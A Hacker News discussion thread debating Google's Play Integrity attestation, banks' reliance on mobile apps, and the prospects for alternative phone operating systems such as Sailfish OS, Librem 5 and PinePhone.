In my entire life, I have never banked anywhere that would let you transact or log in with just a desktop browser. You seem to be convinced this is an edge case but every bank in Europe works this way, as far as I know. There are US financial institutions that would do this, but the US financial system is uniquely fraud prone to a level just not tolerated elsewhere. It lagged years behind on chip-and-PIN cards for instance, and largely never managed to roll it out. The US treats bank account numbers as credentials and other stuff that doesn't apply elsewhere.
Just look at this thread: plenty of people saying what I'm saying. If you bank somewhere that lets people use just a browser to do transactions, you're either in an environment where fraud doesn't matter at all, or you're with a bad bank and should leave them.
Have you considered that Europe is a fractional part of the world with close international relationships to its geographical neighbors and does not represent the rest of the world's experiences?
You mention the US as lagging behind Europe, which is true - but I assure you from my experience working in international fintech from the US, there are more people in the world than the entire population of my country with even worse banking security controls by default.
> In other words, there aren't many banks that let you take sensitive actions with just a browser and that's been true since the start of online banking.
when I started online banking I used a browser and a TAN list for years. No apps required
"Browser and TAN list" is equivalent to "Browser and app". A browser can't be used in isolation, there is and was always some second factor required for online banking, but a banking app can be used in isolation.
No. The TAN list does not prevent you from removing Play Services from your device.
Granted.
Is wells fargo not a bank? It doesnt even use 2FA and you can log via a browser in a ship money all over the planet!
> Banks have never accepted browsers.
What are you talking about? My bank accepts browsers and is a major one.
You are completely wrong
Because it allows them to outsource "security", for "free".
If play integrity went away, all mainstream Android users would suddenly experience a huge increase in captchas and other security measures.
It’s funny to see the volume of comments on HN from folks who are outraged at how AI companies ferociously scrape websites, and the comments disliking device attestation, and few comments recognizing those are two sides of the same coin.
Play integrity (and Apple’s PAT) are what allow mobile users to have less headaches than desktops. Not saying it’s a morally good thing (tech is rarely moral one way or the rather) just that it’s a capability with both upsides and downsides for both typical and power users.
There is no logical inconsistency in disliking abusive scraping, remote attestation, malware, and CAPTCHAs at the same time. Of these, I merely dislike CAPTCHA while I make moral judgments about the other three.
I see creating a mechanism for remote attestation of consumer devices as morally bad because it's a massive transfer of power away from end users to corporations and governments. A scheme where only computers blessed by a handful of megacorporations can be used to interact with the wider world will be used for evil even if current applications are fairly benign.
Yeah, its like the world has been turned into one giant corporation, and the only computers you can use on it are corporate, botted, Active Directory joined, crap. All machines are belong to them.
It is not so simple!
Play Integrity's highest level of attestation features requires devices to be running a security update which is within a sliding window of 1 year.
LOTS of Android devices have not released a security update in many many years. This forces users to unnecessarily upgrade to higher end OEMs.
Google is effectively pushing out Xiaomi, Huawei, and many others that offer excellent budget options. Google is not just offering you the comfort of not having to fill out CAPTCHAs on your phone, most importantly they are playing monopoly.
Why can't "low end OEMs" release security updates?
They can, it would likely just increase the cost of cheap devices to end users, as the manufacturer now has to provide additional software support and does not want to lose money.
Why does the manufacturer of the phone have to write os upgrades?
I never had to wait on Dell to type apt update and apt upgrade.
Because when you buy most smartphones, you're buying a vendor locked device and choosing to stay within their ecosystem. That's how Google has designed their monopoly. Apple is the same way, but non-fragmented.
You've never had to wait for Dell to type apt update and apt upgrade, but MacOS users have to wait for Apple to update their computer.
That was my point, this is a self created problem by the manufacturer.
These manufacturers gladly took in AOSP back in 2011 when it was still truly a great open source project - exactly as the name should require it to be - and also when security requirements were much much lower. Of course to keep up with device security it turns out you need complete control over the whole stack and regular updates anyway, so now these manufacturers are in a pickle of a situation.
No, it's a prerequisite to doing business.
The OEM phones are cheap because the manufacturer sells them at a loss, recouping money by locking them down and pre-installing certain software.
The alternative is that Google is properly regulated, or cheap smartphones phones don't exist.
Its possible the forced apps are a cost recouping mechanism. But how does a phone bootloader being locked down become Google's fault? Does it mandate that for some kind of Android certification?
Yes Google mandates a locked bootloader in order to meet Google Play Integrity's remote attestation. More generally it mandates a perfectly clean and valid secure boot chain. Among a variety of other requirements.
One could argue that those “cheap” devices are ewaste from the beginning, and customers needing lower cost mobile devices should be buying more expensive ones used or refurbished.
Because they fucking suck. I never heard desktops or laptops being tied to Dell or Asus or what not for run of the mill kernel or os upgrades. If phone makers want to be fucking ass by locking down bootloaders, jealously preventing reversing etc preventing kernel devs etc from doing their own thing then they should accept the just label of being fucking ass or take on the responsibility of supporting it forever.
This is only allowed to exist because the justice system and politicians are mostly tech illiterate.
Play Integrity is not compliant with any antitrust legislation, that's painfully obvious. The sole and only purpose of this system is to remove non-Google Android forks.
As someone working on a product that relies on Play Integrity and PAT to give legit mobile users zero captchas while challenging non-attested clients, I promise you are quite wrong here.
The benefits may not be sufficient to offset the harms you see, but if you don’t understand how and why these capabilities are used by services, I’m also suspicious you understand the harms accurately.
Using Play Integrity for captchas is completely useless, criminals are using unmodified devices farms on racks anyways. Why would they need to modify their device?
Betting on Play Integrity to solve that is betting that devices will become more expensive in the future, that's quite obvious that the opposite is happening, they are getting cheaper and cheaper.
Using your dominance in one market to secure the dominance in other market is illegal monopoly, no matter how convenient it might be for a third party.
> if you don’t understand how and why these capabilities are used by services, I’m also suspicious you understand the harms accurately
Yeah, I see this mentality a lot on HN (and kinda everywhere for that matter). "Anyone who disagrees with me is evil, and must therefore have evil motives for everything they're doing. The reasonable/innocent explanation they give for why they're doing this must actually be a front for this other shadowy, nefarious motivation that I just made up on the spot, because surely nobody ever does bad things for good reasons. Certainly not those evil people who disagree with me!"
I hate having to defend Google here, because I think this is genuinely a terrible, freedom-destroying move, but malware on Android is a real problem (especially in Brazil, Indonesia, Singapore, and Thailand, where they're rolling this out initially) and this probably will do a lot to solve it. I'm just categorically against the whole idea of taking away the freedom of mentally sound adults "for their own good" regardless of whether it works or not, and this particular case is especially maddening because I'm one of those adults whose freedom is being destroyed.
I think everyone views themselves as a harmless smol bean, even as they wage war on general purpose computing and liberty in the name of safety. How could their actions have negative externalities, they're one of the good guys!
You’ve discovered local optimization / global reduction.
But how else should Google and their users react? Insist on offering a platform with far more abuse while subjecting users to worse user experiences and websites to more attacks… in the name of abstract freedom?
It's not a coincidence that this big push for Safetynet/Play Integrity happened after the pressure against Cyanogenmod and then Huawei.
If they really care about scams, they could remove all these casino-like games on the playstore. But they aren't going to do that because a huge chunk of the playstore revenue comes from those scam games.
This is textbook whataboutism. The type of device-pwning malware Google is concerned with here has very little in common with "casino-like games on the playstore".
No it isn't. Both are sources of scam and I'd argue that the scam officially hosted on the store is orders of magnitude more widespread than anything using direct installs.
If it's really a problem they care about, here's some priorities. (And I'd personally happy if they cared as I have some family members who got scammed by those)
Read yourself again my man jeez. And you are on HN of all places.
Id be more convinced that this was about malware and your security if you could turn it off.
I think this is mainly just an attempt to kill things like newpipe.
HarmonyOS is open source (according to Wikipedia) but some of the tooling does not appear to be. I.e. can only get the simulator from mainland China.
OpenHarmony and LiteOS are open source, Harmony OS is partly proprietary.
> Maybe it's time for a third large phone OS
It's been that time for years. But it's easier said than done. The closest we've currently got are the various phone-targeted Linux distros out there. But they're not quite ready for serious usage for me; at least not on the Pinephone. Still, that's where to put your time & money if you're serious about wanting a change.
The thing is making a smart phone is hard. You need experienced and knowledgable embedded engineers to design every aspect of the phone. You need people who are knowledgable about RF and know how to go about regulations in various countries. You need software engineers to build up a whole operating system from scratch and probably do that multiple times as the available technology changes. Not to mention create an entire production line to fabricate the parts and assemble them.
And while efforts like Pinephone are good, they don't have the VC or talent to really make that a reality anytime soon on a massive scale. Most efforts in this space are open source which is great but doesn't really pay anything. People with these skills can easily work at any phone OEM and make good money. So I think it will take a massive company to do it. Maybe Microsoft wants to give it another go haha. Amazon has tried multiple times to make this a reality but it's just cost so much money and time that they keep shutting it down.
I don't have any answers, for something to become viable is has to appeal to the average consumer and getting to that point is like crossing a mountain.
There was Firefox OS, but they ended it too soon. Now, they’re just trying to make money from ads
Kai OS is a moderately successful continuation of Firefox OS.
Which isn't open source, unfortunately.
Mozilla if you're listening - now's your chance; please bring it back. We actually have a reason to switch now.
> easier said than done
This is true for both the engineering and business sides. Cyanogen’s failure showed that it ultimately doesn’t matter how good your software product is if your business side of things is poorly run. Same with the Pebble smartwatch - amazing product, terrible back office.
Is Pinephone still going? I was excited for it a few years ago, but I checked in recently and a lot of people are calling it dead. They discontinued to "pro" model and it doesn't sound like the software has much active development going on.
The phones still exist and work fine. I know it's fun to declare things "dead", but I don't think you can reasonably say it of pinephones.
Eh, that's a multi-faceted question. I personally am tired of Pine. They've made some questionable calls over the past couple years and their "make open hardware with almost nothing working software-wise and see what the community does" business plan has started feeling exploitative to me.
PPpro was mismanaged especially badly. Nothing against the amazing community- it's just there were some hardware/firmware decisions by pine that made it especially hard to develop for. Meanwhile, the non-pro version is handicapped by a very slow processor.
There's still some development happening, and the window managers like KDE are still improving stuff on the front end. But you're right, it has slowed down. That all said, this is still the only non-Google/Apple device you can get in the USA that actually kinda works. I used both the non-pro and pro versions for a few months a couple years ago as my daily driver. I could make calls, send texts, connect to matrix, etc. I wouldn't claim that "it just worked" but it did work.
> this is still the only non-Google/Apple device you can get in the USA that actually kinda works
You forgot Librem 5.
You can have Volla phone with Ubuntu Touch, Jolla C2 or Sony Xperia with Sailfish OS worldwide.
> The closest we've currently got are the various phone-targeted Linux distros out there. But they're not quite ready for serious usage for me; at least not on the Pinephone.
This isn't the closest, since we have Purism Librem 5 phone, which many people (including me) are using as a daily driver.
realistically, the end point for moderately tech savvy folks is going to a be two-device setup. one cheap phone for basic communication , all the corpo stuff like banking and shirt-and-tie social media + a wifi hotspot. then a second "practical use" device that uses the hotspot, that you fully control and do your tinkering with.
edit: coming to think of it, teaching people to have a device for the "clean stuff" and separate one for the "stupid stuff" could even turn out to be a benefit.
This is already happening. It would be nice to have a purpose-built "clean"/”lame" device that not only did networking for you, but let you run whatever super special shit that garbage banking app needs attestation for while serving it over vnc or similar to your "dirty"/"cool" device. Then the lame device could be quite small, maybe even stuck on to the cool device as a dongle something.
Could the lame device be integrated or even better virtualised on the cool device?
Or staying at home
The end point is going to be you will only be able to connect to the Internet with a device that passes hardware attestation so people won't be able to tinker
This is really smart. It’s low friction. It’s a drag to need two devices, but it is a low compromise bridge to building up something like a pinephone/pinebook’s ecosystem without needing to keep swapping your sim card.
its how most home networks already work, when you think of it. you have a small locked down isp-provided technically-a-computer, that manages your connection, and behind that, you have all your own stuff on your home network.
if anything, it would be mobile computing "pulling the modem out of the computer", like home desktops did in the 90s. I probably still have that 14.4k pcmcia modem card laying around somewhere...
You make it sound like a bad thing! That's pretty much already where I'm at, and is in fact exactly what I want. My smartphone is for messaging and a handful of apps from major vendors (Google Maps, Youtube, 1Password, etc.) It shouldn't ever crash, have nagging software updates, require tinkering, etc., just like my microwave and washing machine. And for tinkering, I've got my Mac, my little Linux NAS, a variety of Linux handheld devices, etc.
Your heart is where your money. The device with the money would be the practical device for anybody except few RMS' followers.
And I'm happy to keep my heart/money away from the junk of social media and similar trivial shit. To give an example: I have two email ids, one for banking/government stuff and such and other for general purpose (sometimes I use those throwaway ones too for one-time things). If Google pulls this shit, I'm pretty much willing to go two-device - it would be actually more secure. I don't consider this some sort of RMS-idealogy, it is just the sensible next step.
I am already taking 4 devices with embedded batteries with me and it's pain during airport scans. I am not looking for taking 5th. :/
> Maybe it's time for a third large phone OS [...].
Apple and Google conspired to never allow that to happen. They've pushed Microsoft out of that sector. Microsoft! Name a bigger challenger.
Microsoft pushed itself out of the sector by having a lousy mobile platform.
Microsoft had a phenomenal mobile platform. The only problem they had was that they failed to convince anyone to build apps for it.
> Microsoft had a phenomenal mobile platform.
I went through 3 generations of Windows Phone devices for work. The only thing phenomenal about them was the Zune-style UI. They were buggy and unreliable, even for the few apps they had.
The minor issue of not having any developers, developers, developers
GNU/Linux phones already exist, although they're indeed being harmed by the duopoly.
That was before AI coding assistants.
A language model will create the market force to displace an oligopoly in the most influential sector of our society?
Hedge your bets.
Considering that Google and Apple can use them too, tt's unclear to me whether you think AI coding assistants will make it easier or harder for a third competitor to enter the field.
Lmao
> "GNU/Linux" touch version that has a serious ecosystem
That is a very hard problem, unless someone with serious name recognition like Linus Torvalds starts to lead that kind of effort, or a big company like Microsoft suddenly decides that putting 1 billion towards GNU/Linux would be in their interest. With small efforts, it will remain scattered.
Crowdfunding has a lot of power if there is name recognition behind the effort. Star Citizen has already gathered $800 million with mostly enthusiasm and a good start. Who is there to lead the effort for GNU/Linux phone development?
A GNU/Linux phone is dead on arrival unless it provides features that the masses consider a benefit. It's been attempted countless times, and every time it fails to gain adoption because the benefits rarely outweigh the downsides (yes, I know I will get at least one free software maximalist disagree, but in general, adoption rates support my point: these phones are used by such a small minority they're effectively a measurement error in the data).
If anyone wants to give it a shot again, don't start with a GNU/Linux phone, start with something the masses actually will care about. Reverse-engineered, adversarially-interoperable social media apps for all the mainstream networks with no ads/dark patterns? Cool. Adblocking by default? Sure thing. Built-in support for a wide range of cloud providers (including standard protocols such as SFTP/S3/etc). And so on.
Address actual pain points that people have. "GNU/Linux" by itself does not address anything. The non-technical majority don't even know what that is or means, and even for technical people it isn't a perk by itself - sure, you can run whatever software you want... but you (or someone else) still need to write said software to begin with... or you could just trade a bit of money and "freedom" and buy an iPhone which doesn't have any of those problems.
There were crowdfunding efforts like: Purism Librem, Liberux NEXX, /e/ foundation, eelo, Ubuntu Edge, Jolla phone. But none were really successful. The closest was probably Mozilla with Firefox OS, now Kai OS. I still own an Alcatel OT Fire phone, it's HTML5 all the way!
But I think Sailfish OS has a mature ecosystem, they are well recognized in the EU and based on GNU/Linux. I use it daily, after moving from UBports, and it serves me well. Hopefully SfOS gains more popularity.
You highlighted the problem I was stating: Effort is scattered among small players. I would love for SailfishOS to win, but crowdfunding is hard with random Thingamabob companies; it needs name recognition behind it.
For the new ecosystem to win, it needs to have its own user base for companies building apps to recognize it. Even with SailfishOS, the banking apps still require Android compatibility layer, which is slowly eroded with Play Services and Play integrity check disabling those one by one in the coming years.
> "banking apps still require Android compatibility layer"
I would say that this is really not the OS's problem, but the bank's problem. I find it absolutely intolerable that there are banks that force me to use a OS from one (or two) specific vendors.
Same goes for public transportation services (German Bahn Card is now only available in their app) or post mail services (German Post "Mobile Stamp" is only available in their official app).
> German Bahn Card is now only available in their app
Technically not as long as the fallback PDF version remains available.
Weren't Jolla (Sailfish OS), Canonical (Ubuntu Touch), HP/LG (webOS), Mozilla (Firefox OS), Samsung (Tizen) recognized companies? Yet they failed to break the duopoly. Even Facebook failed with their phone. Who would fight with Andoid/iOS then?
I have no answer, I'm asking the same question. Who can raise serious funds like 1 billion to do it? I'm guessing for FOSS/Linux crowd to get fully behind, it can't be a company, but a person like Linus Torvalds. Given that browsers are becoming a platform themselves for major apps, maybe it can lower the bar in the future for smaller vendors to create a feasible market.
I'm hoping that Linus "pulls a git" and suddenly announces that he got fed up with Android last week and created a new OS that solves everyone's problems.
A person can dream.
> created a new OS that solves everyone's problems.
Created a hobby OS, just a hobby, won't be big
Even Linus wouldn't be enough. If anybody could, it would be China and its conglomerates like Huawei, Xiaomi, Alibaba, Tencent.
All of those ran really slow compared to Android versions at the time, or their dev tooling sucked. The only one I really enjoyed using was Sailfish, and even they had to implement an APK compatibility layer. So for the average consumer, what’s the benefit to using that over straight Android?
"For the new ecosystem to win, it needs to have its own user base for companies building apps to recognize it."
…And strong and effective antitrust legislation in place to stop current monopolies like Google from crushing small startups.
Trouble is, despite governments paying lip service to wanting competition in this arena they really don't want competition at all, especially so from small startups.
Look at it this way, controlling and handling a few big companies is much easier for governments than having to deal with a plethora especially so when many are small startups; and second, it's also easier for them to extract user data from Big Tech's operations (as Big Tech is predictable and they've been doing so for a long time)—than it it would be from many small startups, especially so when the products they're planning to manufacture are aimed at improving privacy and adding encryption.
Think of the current UK and Apple debacle and governments' motives for not being proactive become abundantly clear.
> But none were really successful.
By which criterion? I'm happily using Librem 5 as a daily driver; wrote this reply from it.
By general adoption. It's great that Librem serves you well, just like SfOS for me, but sadly we're a tiny minority. I think KaiOS has the third place in popularity.
GNU/Linux is also not successful by such definition. It doesn't make it worse than Windows.
Linux is succesful, it is a base for Android and billions of network devices.
Did you notice I had written GNU/Linux?
I've been using a Librem 5 as a daily driver for years and before that I used a PinePhone for several years. It can work if you're willing to adjust to live with it's constraints (but then also enjoy the benefits).
> [...] someone with serious name recognition like Linus Torvalds starts to lead that kind of effort [...]
Linus is a kernel hacker, and already busy tending to his own project.
"GNU/Linux" is effectively a committee of communities, with sometimes conflicting goals. It took Canonical and Valve to put things into shape on the desktop, and that's mostly because desktop was becoming less relevant.
I see two ways for things to change here:
- A massive, for-profit corporation, someone willing and able to challenge Google and Apple on an even ground, is hell-bent on making a Linux-based phone (Microsoft failed even after acquiring Nokia);
- Another platform shift happens, making smartphones irrelevant in comparison (think: when smartphones displaced desktops).
Microsoft was stupid, in EU they were slowly reaching 10% when they decided to kill WP, it was getting momentum as the alternative for those that didn't want Android and weren't going to spend Apple money for a phone device.
And actually the development experience was much better than Android to this day.
But that isn't coming back, especially after they killed all developer good will on Windows OS for everyone that invested into WinRT as platform.
How much of that 10% was them basically paying OEM's and consumers to use Windows, which is what the Nokia deal amounted to? It wasn't sustainable.
Whatever benefit we'd have from a Windows Phone today, it's laughable to think that Microsoft wouldn't be doubling down on exactly the sort of locked-down devices Apple (and now Google) have or are moving towards.
Their only vaguely "open" platform (Windows) is like that because of legacy compatibility and customers, but for anything new Microsoft always wanted to sell you an Xbox that could make phonecalls. Try writing and deploying an app on that without a developer account.
I really would like to have been payed to use Windows phones, especially as former Nokia employee.
I was in Espoo, the week following the burning platforms memo.
However it represented a third option, to a percentage no Linux phone distribution has ever achieved since Open Moko.
Maybe Maemo could have been it, had not been for Nokia's board decision to bring in Elop.
I.e. I'm poking holes in your (somewhat unstated) premise that they'd already reached around 10% of marketshare, and could have just organically grown from there. As reporting at the time shows[1] the average selling price of these phones was €72.4.
So Microsoft (Nokia, but we all know who was really running/paying for the show) were spending a lot of money to buy themselves into the market, and just barely holding on to double digit market share for a bit there by subsidizing entry level phones.
1. https://www.theguardian.com/technology/2013/oct/01/microsoft...
> Android shouldn't be considered Open Source anymore
That idea died for me long ago, I had used Android since 2009 till 2020. I gave up on the dream of a Linux phone. Ubuntu had a nice sleek Phone UI they were working on. The issue is if nobody builds the phones and no carrier cares, nobody will pick it up. You need to push yourself into the market.
Microsoft could fill this weird gap if they wanted to the key things would be they would have to truly open source the OS. I could see Amazon trying again, but they'd need to invest a lot as well. It's an uphill battle needing a serious flagship phone. Your other problem is most apps need to be migrated.
Amazon was hopeless even with the apps, because they had their hooks into things even worse than google. They are shameless. Most other tech companies large enough to even try would be as bad or worse.
All that type of money went to llms, who is going to spend that on a phone os now? Not who should, but who actually would? They gave up on browsers, they gave up on mobile oses. There is a real risk that the next step is the US gov takes X% of google instead of enforcing antitrust in a year or two.
Linux phones will never take off because banking and media/drm apps, and by extension social media apps, will just boycott them and kill it off. The tone has been set, this comment applies to any major player trying to break into the mobile market moving forward.
This is honestly very bleak news.
Yeah, I'm disappointed in their efforts. I do like the Kindle tablet for my preschooler because its cheap and gets the job done, though we limit her screen time.
I'm just name dropping from the perspective of a big org that could fund such a thing correctly, but they would need to start over IMHO.
I'm not sure of another big player who could invest billions into such an endeavour.
I don’t even think Microsoft could. Google bullied them out last time with windows phone and the YouTube app debacle.
Until we have serious antitrust legislation against Google and Apple wielding their market power against any new entrants we are stuck with a duopoly.
At the very least, Google needs to lose Android, and probably YouTube as well.
"At the very least, Google needs to lose Android, and probably YouTube as well."
Wishful thinking department unfortunately. Modern US capitalism wouldn't allow that to happen—and a large majority of users are so addicted to the electronic heroin provided (seemingly for free but not) by the likes of Big Tech—Google et al—to care let alone do anything about the problem.
Given the state of the Kindle and Fire TV interfaces, I hope Amazon keeps far away.
I would strongly argue that they would have to start over completely.
Not sure porting the apps would be such a big problem.
You could probably get away with porting only a tiny fraction of all apps.
I only use ~10-20 apps. If I was sure those work reliably I'd not hesitate to move.
Here's a list for anyone who's interested:
* Firefox * Money / bank * Identity * Maps * Email / calendar * Public transport * Chat (Whatsapp, signal, telegram, Facebook messenger, hangout, slack, discord..) * Camera * Music * Podcasts * YouTube * Taxi * Renting bikes * Parking * Digital "postbox" (not email) * Gym * 2FA * Calculator * Phone/SMS * Google Drive
Everyone only uses ~10-20 apps, the problem is that no one uses the same ~10-20 apps.
But I think we mostly do use the same 10-20 apps!
Open source is a relative thing. Compared to iOS, Android is "incredibly open source!"
Everything coming from China is going to be closed source as well, and it's going to be pretty hard for banks to onboard themselves on open source solutions. I think the ultimate solution is: two phones, one shitty one just for banking/trading/whatever, which only stays at home most of the time, and one Linux phone that we more or less own, for calls/texts/web browsing, which stays with us.
It only matters if you treat phones as a development environment.
It's tempting to have full control over everything OSS style, but the reality is you can only tenably have that for very specific parts of life.
i wanted my phone to be more than just a kiosk though. thank fuck desktop never ended up in this mess
The irony is that our phones are unbelievably powerful and run laps around computers from just 5-10 years ago, but then we use them as locked-down glorified web views and advertisement deliverers.
Or, as you say, kiosks.
Not to mention all the functionality, sensors, etc that our laptops have never had.
advertisement deliverers and massive surveillance devices
Why? I have the freedom to fix or modify most things I own. What makes phones so special that it justifies licking the boot of some techbro billionaires?
This is the problem - many apps refusing to run on non-blesses platform.
Years ago I loved tinkering with the devices but then I wasn't able to use my bank and it was getting more and more annoying so at one point I just stopped...
The biggest problem are: 1) lack of drivers (so creating custom roms/OS for the devices is problematic), 2) locked bootloaders and 3) many apps requiring PlayServices and other stuff (mostly banks).
There is postmarketOS, it looks awesome but - device support is very lacking and there is no way to have bank and PopularApps (whatsapp/instagram/etc) running on it so it's popularity is microscopic…
Maybe another European Citizen Initiative to force makers to provide those things (bootloader and drivers)?
"Years ago I loved tinkering with the devices but then I wasn't able to use my bank and it was getting more and more annoying so at one point I just stopped..."
Until now I've steadfastly refused to use banking on my smartphones because of these problems (and I usually use rooted phones).
The trouble is it's becoming more and more difficult to avoid phone payments/banking. My solution is to get a small phone specifically dedicated for the purpose and use it for no other purpose (it's a pain but the best compromise). That way I don't have to worry about my main smartphone.
Of course, the best solution would be for governments to regulate for banks to accept multiple access/payment system of which there are a number. Standardized and regulated protocols would solve many of these problems but that's a too bigger subject to address here.
> My solution is to get a small phone specifically dedicated for the purpose and use it for no other purpose (it's a pain but the best compromise). That way I don't have to worry about my main smartphone.
This has been my solution as well and I can't help but wonder, given the recent push for digital ID, insurance, etc. if we will all eventually be carrying a separate data-only device for digital security/attestation purposes.
"…separate data-only device…"
Likely so, methinks. I can't see any other long-term solution that'd be workable and actually benefit users. Moreover, if implemented properly (sensibly) with the user in charge it would be useful for much more than just banking.
For example, it could incorporate a hierarchical key system with the user/owner having access to all data. Privacy would be assured as each entity you'd communicate or transact with would only have access to information on a need-to-know basis.
Your bank would only have access to your name and necessary authentication data; only you and your doctor would have access to your medical records; government/tax would have access to your financial records for tax purposes but not be able to access other data.
General shopping could be done anonymously—even without your bank being aware of what you were buying or from whom you were buying it (it'd be like a cash withdrawal to spend as you wish). The bank would issue you money as a cash advance which you'd add to a local pool of cash, you'd then withdraw funds to pay the vendor (this would likely involve crypto currency to isolate the payment from the bank). And so on, there'd be as many options to such a scheme as a user would need.
Such a system would not only give users almost complete control over their privacy but also give them autonomy. Of course, opposition to such a scheme would be absolutely fierce, governments would demand higher access levels for nefarious and or unnecessary reasons, the Googles of this world would be furious as they'd lose access to meaningful data—what'd be left would be anonymized junk data that'd be effectively worthless to advertisers and data brokers.
Clearly, something that powerful which would give users considerable control over their lives wouldn't be allowed to happen! As Rousseau said in the opening sentence of his Social Contract "Man was born free but everywhere he is in chains". That was in 1762, seems nothing much has changed, the citizenry is still well under the thumb, and the rich and powerful remain so.
Then we can can go back to treating phones as computers. Right?
And maybe one day there will be some convergent evolution and the attestation devices go back to being dedicated hardware. Like the card-reader I already have to to log into my online banking.
> Then we can can go back to treating phones as computers. Right?
https://news.ycombinator.com/item?id=19328085
Ends up on the car key chain
OpenHarmony is open source. There are also: Ubuntu Touch and Sailfish OS being developed. Actually I am writing this from Sailfish OS. I can login to my bank using a web browser here in the EU. I have Telegram, Signal clients, maps, sideloaded packages, full terminal - I fully control the phone, in contrast to Android. I don't own and don't need Android phone at all. So definitely more people should usealternatives to closed Android/iOS.
Ah yes, sailfish is actually pretty usable. (Unlike Ubuntu Touch, tbh). I've used it in the past on my Nexus5 for some years. However, they are still not 100% open source and they're too much into the AI-Hype as of recently (Mind2). Also, I'd like to have more official ports. It's such a hassle to be dependent on that one guy who maintains that port for your device...
I somewhat agree with the protected systems part though. For example, handling payments. Now iOS and Android could both have 0-days that allow fraudulent payments to be made for all I know but there's a certain degree of trust there with 2 large companies.
But then again we still use visa/mastercard duopoly that allows you to make payments so long as your have their card number.
And then again x2; nothing will ever change, we live in a corporate hellscape where men in suits & ties make all the decisions, get themselves wealthier and the general public are too apathetic to band together on anything because they'd rather foot shoot than have someone not from their tribe receive a single cookie crumb.
> a contractual relationship with a foreign (unless you are in the US) third party that decides what you can or cannot do with it.
I see where you're coming from, but companies like Google have local legal representation (e.g. in Ireland for the EU), and have to operate under EU rules if they want to do business here (just like how a EU business has to operate under US rules). If the EU says that you should be allowed to do your own thing - and they have - then Google can either comply or leave.
Don't attribute more power to companies than they have - they want you to believe they can get away with this, but don't echo their rhetoric.
Ok, how do I as a developer from Croatia get in touch with a legal representative from Google? And I don't mean 5 layers of indirection through AI chatbots and chatbots, forms and canned responses?
As a single developer, you have very little weight against Google. The same is true of a single developer in the US.
What does have weight is the European Union, which Croatia is a member of. If the EU parliament makes a law that Google is not allowed to have these kinds of rules and do business in the EU, then Google will listen. Given the horrible state of the US government, the EU is just about the only force left in the world able and willing to stand up against these tech giants in a way that forces them to pay attention and act responsibly.
The chances are higher that the EU makes a law mandating this sort of thing than demanding dropping this requirement in the EU.
The only thing you can expect from the EU is that it requires that apps in the EU market are signed with keys signed by the EU which you will only be able to get if you provide your ID or business registration.
Between Google and the EU I think I would rather be governed by the devil.
https://support.google.com/faqs/answer/6151275
You don't. You'd have to sue them.
...that makes it worse though. It's just intrusion from more legacy states.
The whole point here is that this requirement is a vector by which states and state-like corporations can exert control over the internet. And the "inter" in internet is weakened by this.
The EU is planning to make Play Store de facto mandatory, so no more Graphene in the EU
https://www.androidheadlines.com/2025/07/eu-age-verification...
Only if you want to use the age verification app.
The EU has different parts. This probably violates a constraint imposed by a different part, which the part pushing this hasn't noticed yet.
Alas, no distinction is made between (a) a computer owner that wants to write software to run on their computer versus (b) an "app developer" who wants to write "mobile apps" and distribute them to others for financial gain
The computer owner in (a) is not creating "malware". Any arguments that "verification" is for the protection of users (not commercial benefit of Google) are inapplicable in (a). Unlike the software in (b) the software in (a) only runs on the computer owner's computer, not anyone else's computer. There is no need in the case of (a) for Google to know about what software is running on the computer owner's computer.^1 Surely Google would agree there is no need, i.e., no right, for a computer owner seeking "verification" to know what software is running on Google's computers or the identities of Google employees.
1. None that outweighs the owner's right to privacy. Microsoft, Apple and Google all use _default_ telemetry
https://gist.github.com/alirobe/7f3b34ad89a159e6daa1
https://github.com/cedws/apple-telemetry
https://apple.stackexchange.com/questions/437068/eliminating...
https://therecord.media/google-collects-20-times-more-teleme...
We used to have a very nice option called Blackberry. Oh how I miss those phones.
Wouldn't a third large phone os have the same problems as GrapheneOS?
> Maybe it's time for a third large phone OS, whether it comes from China getting fed up with the US and Google's shenanigans (Huawei has HarmonyOS but it's not open) or some "GNU/Linux" touch version that has a serious ecosystem. Especially when more and more apps and services are "mobile-first" or "mobile-only" like banking.
This makes me laugh. Not at you, but at the cycle. This was the convo years ago when this was possible, but getting consumers to trust a 3rd party like PalmOS (which was actually pretty darn good compared to android) is practically not possible.
It's not about consumer trust, it's the chicken-and-egg problems of users and app devs.
App devs only care about platforms with enough users, users only care about platform with enough 3rd party devs support.
I wouldn't use a bank that made it difficult for me to access my account. I don't know why most people do. I know why a few need to, but not most. There's a lot of unnecessary bedmaking going on in tech.
Because it's the only bank that doesn't require a mailing address and I don't have a mailing address.
How does one not have a mailing address in $current_year?
If one is a "digital nomad"
Maybe, although there are services that will accept your mail and then scan/email it to you. But I believe OP has stated that they live in Germany full-time.
As someone who has a few bank accounts in different countries of which I'm not a resident of, and also a user of the services you mention, its next to impossible to use them for banking purposes.
In US, for example, their addresses are classified as Commercial Mail Receiving Agencies, and have a "Commercial" address designator. USPS has an API for that. If you get a bank to accept this address somehow, then the next trouble comes - they're gonna ask for utility bill for address verification and you can't have any utility bills for it.
I don't keep tabs on OP; I just provide hypothetical answers to literal interpretations of rhetorical questions.
Despite the German government's insistence that every person has a single permanent address, it continues to not be true in the real world.
Less and less of AOSP is being updated also, as Google rolls most of its new features and updates behind the Play Services system. Install Graphene and you will see what I am talking about - the SMS app for example hasn't been updated in probably a decade and looks and functions like it did back in Android 4 (KitKat). Same with the other built-in apps. While I used Graphene myself for a solid 6 months, the features you have to give up on using or find some obtuse workaround for aren't appealing to the "normies" who just want their phone to do what they want, no matter the unseen ethical cost (in this case, sacrificing the ability to freely install 3rd party apps). Someone on another forum said it very well - people like "us" were Google's foot in the door, now along with Apple they have such a stranglehold on the mobile OS space that a 3rd viable and comparable contestant becomes less and less likely by the day. Throw in how Google starting with Android 16 is not releasing updated drivers with AOSP and Graphene probably doesn't have much life left in it, either.
We're long, long overdue for a 3rd phone OS option. The bank thing has me wondering. Maybe getting a nice, local branch is one of the next sane privacy steps if it lets me escape this phone.
> or some "GNU/Linux" touch version that has a serious ecosystem
How could this realistically happen? Developers of popular apps adore the control and illegitimate de-facto ownership that client side "trust" gives them, so they'll refuse to make apps for that platform. They'll also use said client side "trust" to block them. Thus, it can't reach critical mass to force adoption by these developers.
I think that the answer are vendor-independent standards.
The main issue being solved here is that security relies heavily on those actors like Google and Apple. Banks, companies etc. have high security requirements (rightly so) and basically need to tick boxes. So if the only way to obtain, say, MFA, is through something only Goole/Apple provides, they will require Google or Apple devices.
If we had reasonable standards alternatives can become a reality.
That's not really going to fix anything here.
The reason a big company can do this is because they can absorb big liability risk and insure it appropriately.
A standard can't do that.
